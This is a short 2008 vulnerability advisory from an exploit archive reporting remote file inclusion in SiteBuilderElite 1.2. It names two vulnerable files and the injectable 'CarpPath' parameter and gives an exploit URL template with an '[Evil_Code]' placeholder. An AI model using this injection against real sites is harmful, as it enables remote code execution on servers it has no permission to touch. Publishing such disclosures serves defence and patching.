[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SiteBuilderElite 1.2 Multiple Remote File Inclusion Vulnerabilities
# Published : 2008-02-28
# Author : MhZ91
# Previous Title : Koobi Pro 5.7 (categ) Remote SQL Injection Vulnerability
# Next Title : Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Vulnerabilities
--==+================================================================================+==--
--==+ SiteBuilderElite1.2 Multiple Remote File Inclusion +==--
--==+================================================================================+==--
Author: MhZ91
Title: SiteBuilderElite1.2 Multiple Remote File Inclusion
Vendor: http://sitebuilderelite.com $97
Bug: Multiple Remote File Inclusion
Info: "Boost Your Adsense And Affiliate Commissions By Building 10s, 100s or 1,000s of Websites, Each With The Click of a Button!"
Visit: http://www.inj3ct-it.org
[*]----------------------------------------------------------
SiteBuilderElite1.2 present a variable "CarpPath" not definited in this file
files/carprss.php
files/amazon-bestsellers.php
all are exploitable by the variable "CarpPath" for example
http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]
[*]----------------------------------------------------------
# www.Syue.com [2008-02-28]